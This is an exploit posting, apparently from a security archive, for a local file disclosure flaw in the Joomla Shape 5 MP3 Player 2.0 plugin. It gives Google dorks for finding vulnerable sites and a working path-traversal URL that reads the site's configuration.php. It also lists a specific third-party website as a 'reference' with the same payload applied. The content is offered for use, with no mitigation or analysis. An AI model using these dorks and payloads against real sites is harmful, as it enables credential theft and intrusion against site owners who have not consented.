Joomla Shape 5 MP3 Player 2.0 Local File Disclosure

2016.10.04
bd ErrOr SquaD (BD) bd
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A
Dork: inurl:"php?fileUrl="

https://www.facebook.com/Legion.Bomb3r Exploit Joomla Shape 5 MP3 Player 2.0 Local File Disclosure Google Dork : inurl:"php?fileUrl=" Google Dork : inurl:plugins/content/s5_media_player Exploit:http://[TARGET.com]/plugins/content/s5_media_player/helper.php?fileurl=../../../configuration.php This is a very simple security measures, It was exposed to attack. if base64 encrypting the file names 'fileurl' function is used, and local files will be easily exposed....

References:

www.thebridgebancroft.ca/plugins/content/s5_media_player/helper.php?fileurl=../../../configuration.php


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top